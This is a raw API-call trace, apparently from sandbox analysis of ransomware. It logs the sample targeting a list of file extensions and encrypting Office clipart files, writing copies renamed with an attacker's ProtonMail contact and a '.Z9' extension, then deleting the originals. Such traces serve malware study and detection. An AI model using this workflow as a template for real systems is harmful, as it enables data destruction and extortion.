	[0089.357] lstrlenW (lpString=".1cd") returned 4
	[0089.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0089.357] lstrlenW (lpString=".jpg") returned 4
	[0089.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.358] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.358] lstrlenW (lpString="DD00256_.WMF") returned 12
	[0089.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.358] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2832) returned 1
	[0089.358] CloseHandle (hObject=0x2bc) returned 1
	[0089.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220
	[0089.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.358] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.358] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.359] GetLastError () returned 0x0
	[0089.359] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xb10, lpOverlapped=0x0) returned 1
	[0089.363] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xb20, lpOverlapped=0x0) returned 1
	[0089.367] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.367] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.367] SetEndOfFile (hFile=0x360) returned 1
	[0089.367] CloseHandle (hObject=0x360) returned 1
	[0089.367] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.367] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.368] CloseHandle (hObject=0x2bc) returned 1
	[0089.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1
	[0089.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.369] lstrlenW (lpString=".doc") returned 4
	[0089.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.369] lstrlenW (lpString=".docx") returned 5
	[0089.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.369] lstrlenW (lpString=".pdf") returned 4
	[0089.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.369] lstrlenW (lpString=".xls") returned 4
	[0089.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.369] lstrlenW (lpString=".xlsx") returned 5
	[0089.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.369] lstrlenW (lpString=".ppt") returned 4
	[0089.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.369] lstrlenW (lpString=".zip") returned 4
	[0089.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.369] lstrlenW (lpString=".rar") returned 4
	[0089.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.369] lstrlenW (lpString=".bz2") returned 4
	[0089.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString=".7z") returned 3
	[0089.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.370] lstrlenW (lpString=".dbf") returned 4
	[0089.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.370] lstrlenW (lpString=".1cd") returned 4
	[0089.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.370] lstrlenW (lpString=".jpg") returned 4
	[0089.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.370] lstrlenW (lpString=".doc") returned 4
	[0089.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString=".docx") returned 5
	[0089.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.370] lstrlenW (lpString=".pdf") returned 4
	[0089.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString=".xls") returned 4
	[0089.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.370] lstrlenW (lpString=".xlsx") returned 5
	[0089.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.370] lstrlenW (lpString=".ppt") returned 4
	[0089.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.370] lstrlenW (lpString=".zip") returned 4
	[0089.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.370] lstrlenW (lpString=".rar") returned 4
	[0089.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.371] lstrlenW (lpString=".bz2") returned 4
	[0089.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.371] lstrlenW (lpString=".7z") returned 3
	[0089.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.371] lstrlenW (lpString=".dbf") returned 4
	[0089.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.371] lstrlenW (lpString=".1cd") returned 4
	[0089.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0089.371] lstrlenW (lpString=".jpg") returned 4
	[0089.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.371] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.371] lstrlenW (lpString="DD00261_.WMF") returned 12
	[0089.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.371] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=37974) returned 1
	[0089.371] CloseHandle (hObject=0x2bc) returned 1
	[0089.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220
	[0089.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.372] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.372] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.372] GetLastError () returned 0x0
	[0089.372] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x9456, lpOverlapped=0x0) returned 1
	[0089.376] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x9460, lpOverlapped=0x0) returned 1
	[0089.382] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.382] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.382] SetEndOfFile (hFile=0x360) returned 1
	[0089.382] CloseHandle (hObject=0x360) returned 1
	[0089.382] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.383] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.384] CloseHandle (hObject=0x2bc) returned 1
	[0089.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1
	[0089.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.384] lstrlenW (lpString=".doc") returned 4
	[0089.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.384] lstrlenW (lpString=".docx") returned 5
	[0089.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.384] lstrlenW (lpString=".pdf") returned 4
	[0089.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.384] lstrlenW (lpString=".xls") returned 4
	[0089.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.384] lstrlenW (lpString=".xlsx") returned 5
	[0089.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.384] lstrlenW (lpString=".ppt") returned 4
	[0089.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString=".zip") returned 4
	[0089.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.385] lstrlenW (lpString=".rar") returned 4
	[0089.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString=".bz2") returned 4
	[0089.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString=".7z") returned 3
	[0089.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString=".dbf") returned 4
	[0089.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString=".1cd") returned 4
	[0089.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString=".jpg") returned 4
	[0089.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString=".doc") returned 4
	[0089.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString=".docx") returned 5
	[0089.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.385] lstrlenW (lpString=".pdf") returned 4
	[0089.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString=".xls") returned 4
	[0089.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.385] lstrlenW (lpString=".xlsx") returned 5
	[0089.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.385] lstrlenW (lpString=".ppt") returned 4
	[0089.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.385] lstrlenW (lpString=".zip") returned 4
	[0089.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.385] lstrlenW (lpString=".rar") returned 4
	[0089.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.386] lstrlenW (lpString=".bz2") returned 4
	[0089.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.386] lstrlenW (lpString=".7z") returned 3
	[0089.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.386] lstrlenW (lpString=".dbf") returned 4
	[0089.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.386] lstrlenW (lpString=".1cd") returned 4
	[0089.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68
	[0089.386] lstrlenW (lpString=".jpg") returned 4
	[0089.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.386] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.386] lstrlenW (lpString="DD00297_.WMF") returned 12
	[0089.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.386] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=40030) returned 1
	[0089.386] CloseHandle (hObject=0x2bc) returned 1
	[0089.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220
	[0089.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.387] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.387] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0089.387] GetLastError () returned 0x0
	[0089.387] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x9c5e, lpOverlapped=0x0) returned 1
	[0089.974] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x9c60, lpOverlapped=0x0) returned 1
	[0089.976] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.976] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.976] SetEndOfFile (hFile=0x360) returned 1
	[0089.976] CloseHandle (hObject=0x360) returned 1
	[0089.976] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.976] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.978] CloseHandle (hObject=0x2bc) returned 1
	[0089.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1
	[0089.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.978] lstrlenW (lpString=".doc") returned 4
	[0089.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.978] lstrlenW (lpString=".docx") returned 5
	[0089.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.978] lstrlenW (lpString=".pdf") returned 4
	[0089.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.978] lstrlenW (lpString=".xls") returned 4
	[0089.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.978] lstrlenW (lpString=".xlsx") returned 5
	[0089.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.978] lstrlenW (lpString=".ppt") returned 4
	[0089.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.978] lstrlenW (lpString=".zip") returned 4
	[0089.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.979] lstrlenW (lpString=".rar") returned 4
	[0089.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString=".bz2") returned 4
	[0089.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString=".7z") returned 3
	[0089.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.979] lstrlenW (lpString=".dbf") returned 4
	[0089.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.979] lstrlenW (lpString=".1cd") returned 4
	[0089.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.979] lstrlenW (lpString=".jpg") returned 4
	[0089.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.979] lstrlenW (lpString=".doc") returned 4
	[0089.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString=".docx") returned 5
	[0089.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.979] lstrlenW (lpString=".pdf") returned 4
	[0089.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString=".xls") returned 4
	[0089.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.979] lstrlenW (lpString=".xlsx") returned 5
	[0089.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.979] lstrlenW (lpString=".ppt") returned 4
	[0089.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.979] lstrlenW (lpString=".zip") returned 4
	[0089.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.979] lstrlenW (lpString=".rar") returned 4
	[0089.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.980] lstrlenW (lpString=".bz2") returned 4
	[0089.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.980] lstrlenW (lpString=".7z") returned 3
	[0089.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0089.980] lstrlenW (lpString=".dbf") returned 4
